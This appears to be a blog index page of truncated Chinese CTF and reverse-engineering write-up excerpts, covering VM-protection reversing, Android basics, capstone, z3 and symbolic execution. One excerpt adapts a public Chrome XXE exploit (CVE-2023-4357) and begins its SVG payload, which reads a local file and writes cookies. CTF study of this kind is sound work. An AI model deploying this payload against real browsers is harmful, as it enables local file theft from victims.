VM学习
那CTF,那VMre,那些事(一) vm虚拟机保护逆向,是一种利用了虚拟机技术的一种特殊加花指令方式。目前比赛中,虚拟机题目特点是核心算法不是很复杂,虚拟机本身没有反调试和代码加密混淆的加入。大部分题目的思路都是考察分析switch语句及其分支。 0x00前言最近做题刷到了2020网鼎杯一道vm虚拟机保护的re题目,遂决定系统的学习一下vm虚拟机保护逆向的相关知识。毕竟vm逆向在各大比赛中势头正盛。 题目附件在文章末尾。需要的大佬可以下载学习一下。 0x01什么是虚拟机?什么是vm?学习虚拟机逆向,首先要了解什么是虚拟机。按照我之前的粗浅理解,虚拟机是寄生于宿主电脑上的一台虚拟电脑,来满足使用者关于多个操作系统配合、危险软件隔离分析等等需求的技术。当然这是个人理解,仅供参考。而在大佬博客中,我看到了如下精彩的定义: 虚拟机:自己定义一套指令,在程序中能有一套函数和结构解释自己定义的指令并执行功能。 上述定义将虚拟机的原理讲的很透彻了。接下来我们说说什么是vm。首先给出官方定义 vm(虚拟机保护)是一种基于虚拟机的代码保护技术。他将基于x8 ...
PolarCTF
PolarCTFReverseapp_login123456789101112131415import hashlibflag = 'zhishixuebao'x = hashlib.md5(flag.encode("utf8"))y = x.hexdigest()print(y)flag=''for i in range(0,len(y),2): flag+=y[i]print(flag)flagg=''for i in range(15): t=((255-i)+2)-98-48 flagg+=chr(t)print(flagg) kr???winhex动态调试 但是没找到kr,我用的x32dbg ,,?因为upx脱不了壳儿,会显示999(3e7),和偏移量 然后从偏移量和999找指令,然后e703变成e713(? 继续运行可以得到?这是在干什么 猜猜我在哪儿基本也就是自加密逆向 原字符flag经过 1234567891011121314for ( i = 0; input[i]; ...
Android逆向
Android逆向Android基础知识系统架构安卓(Android)是一种基于Linux内核(不包含GNU组件)的自由及开放源代码的操作系统。主要使用于移动设备,如智能手机和平板电脑,由美国Google公司和开放手机联盟领导及开发。 android框架: 从下往上分别是:Linux内核层、系统运行库层(程序库+android运行库)、应用程序框架层、应用层。 Linux内核层: Android 系统是基于 Linux 内核的,它提供了基本的系统功能及与硬件交互的驱动,像图中Display Driver(显示驱动)、Camera Driver(摄像头驱动)、WiFi Driver(WiFi驱动)等 系统运行库层: 像图中内核的上一层就是系统运行库层,程序库(绿色部分) 和 Android运行库(黄色部分) 组成。 Libraries(程序库): 由 C、C++ 编写,一系列程序库的集合,供 Android 系统的各个组件使用。 Android runtime(Core Librares + Dalvik虚拟机): 翻译过来就是 Android 运行时,Android 应用程序时采 ...
PearlCTF
PearlCTFRevbyteme I know you are a python expert, but can you reverse this? Author: TheAlpha byteme.pyc Tags: rev 12345import marshal, diswith open("byteme.pyc", "rb") as file: file.seek(16) print(dis.dis(marshal.load(file))) This challange comes with a compiled python script. There are nice decompilers for this, but they are mostly lacking support for really new python versions. So, not surprising, the decompiler doesn’t want to work. From the hexdump, we can see th ...
capstone、keystone与unicorn-1
capstone、keystone与unicorn-1capstone加坡南洋理工大学团队在 Blackhat USA 2014 上发布的一个反汇编引擎。 安装: pip install capstone 基础示例capstone 的 API 使用起来非常简单,因此使用该框架编写工具非常容易。 下面的代码反汇编一些 x86机器码,并打印出汇编语句。 1234567from capstone import *CODE = b"\x55\x48\x8b\x05\xb8\x13\x00\x00"md = Cs(CS_ARCH_X86, CS_MODE_64)for i in md.disasm(CODE, 0x1000): print("0x%x:\t%s\t%s" %(i.address, i.mnemonic, i.op_str))#0x1000: push rbp#0x1001: mov rax, qword ptr [rip + 0x13b8] 12345678from capstone import *CODE = b"\x55\ ...
SICTF2024
SICTF2024ForensicsMisc真💨签到 加密zip文件包最后一串数字,5456545454565458414259555854585458434152595958415a435959595558563d 16进制转字符TVTTTVTXABYUXTXTXCARYYXAZCYYYUXV= 字符文本解密 2024HappyNewYear zip解压后一个音频一个图片 音频用Audacity 注意音频名称 用steghide解码 steghide extract -sf steg.jpg New Year’s regret 密码是2024SICTF 01画图(赛博厨子),汉信码,以及压缩包末尾发现字符串,尝试hex编码(考虑逆向输入) 123s='43637d135333'print(s[::-1])#333531d73634-->351×64 画图: 123456789101112131415from PIL import ImageMAX1=351MAX2=64pic = Image.new("RGB" ...
躺平杯
TPCUP 2024X…什么?看到 chrome-114.0.5735.90 搜索下这个版本可以找到 CVE-2023-4357 漏洞复现,使用 xcanwin/CVE-2023-4357-Chrome-XXE 的单文件 EXP,改成读取 flag,然后加上写入 cookies 的代码。 由于同时要有 svg 和 xml 解析,所以 Content-Type 设为 image/svg+xml,可以自己搭建本地环境看看 1234567891011121314151617181920212223<!-- d.svg --><?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="?#"?><!DOCTYPE div [<!ENTITY passwd_p "file:///flag"><!ENTITY passwd_c SYSTE ...
等式问题与z3的使用
等式问题与 z3 的使用基本数据类型在Python中使用 Z3 模块,我们的所求结果一般有以下几种数据类型: Int Real Bool Array BitVec(‘a’, 8) 其中 BitVec 可以是特定大小的数据类型,不一定是 8 位,例如 C 语言中的 int 型可以用 BitVec(‘a’, 32) 表示。 基本语句在 Python 中使用该模块,我们通常用到如下几个 API: **Solver()**:创建一个通用求解器,以进行下一步的求解 **add()**:添加约束条件,通常在solver()命令之后,添加的约束条件通常是一个逻辑等式 **check()**:添加完约束条件后,用来来检测解的情况,有解的时候会返回 sat,无解的时候会返回unsat **model()**:在存在解的时候,该函数会将每个限制条件所对应的解集的交集,进而得出正解 分别对应设未知数,列方程组,判断方程是否有解,解方程组。 简单使用 入门实践1234567891011121314from z3 import *a = Int('a')b = In ...
TJUCTF202401WP
TJUCTF{KFC_Cr42y_Thur5d4y_v_M3_50!} base16:544A554354467B4B46435F43723432795F54687572356434795F765F4D335F3530217D base32:GU2DIQJVGU2DGNJUGQ3DOQRUII2DMNBTGVDDIMZXGIZTIMZSG44TKRRVGQ3DQNZVG4ZDGNJWGQZTINZZGVDDONRVIY2EIMZTGVDDGNJTGAZDCN2E base64:R1UyRElRSlZHVTJER05KVUdRM0RPUVJVSUkyRE1OQlRHVkRESU1aWEdJWlRJTVpTRzQ0VEtSUlZHUTNEUU5aVkc0WkRHTkpXR1FaVElOWlpHVkRET05SVklZMkVJTVpUR1ZEREdOSlRHQVpEQ04yRQ== base 91: &w”dA6Dt7f!}DfeFdJzhF#Q8Jz@7Q^tu0Z0+SB8@@7dR#ww2>y,#t7JbAPQiCP;1j95NGNlf{x{cPxXx ...
符号执行框架
符号执行框架符号执行介绍随着时代的发展,程序的流程越来越复杂,如果我们继续像以前那样在 ida 里仔细分析,肯定是太累了,所以有些科学家想要用自动化的算法来进行逆向工程,然后,他们就提出了符号执行这个算法。 符号执行算法听起来很高端,其实内部算法却并不难理解,接下来就介绍一下符号执行的核心理念。 假如有这样一个程序: 12345678int main() {int user_input;scanf("%d", &user_input);if (user_input - 10 >= 0)puts("Success");elseputs("Try again");} 我们现在想要知道为了让程序到达 puts(‘Success.’) 这一行,需要的输入条件是什么,那我们要怎么得出到达这一行的条件呢?首先我们来看看执行这个程序的时候,user_input 都经历了什么。 user_input 经过了一个判断语句,其中 user_input - 10>= 0 就是成功的条件。所以很显 ...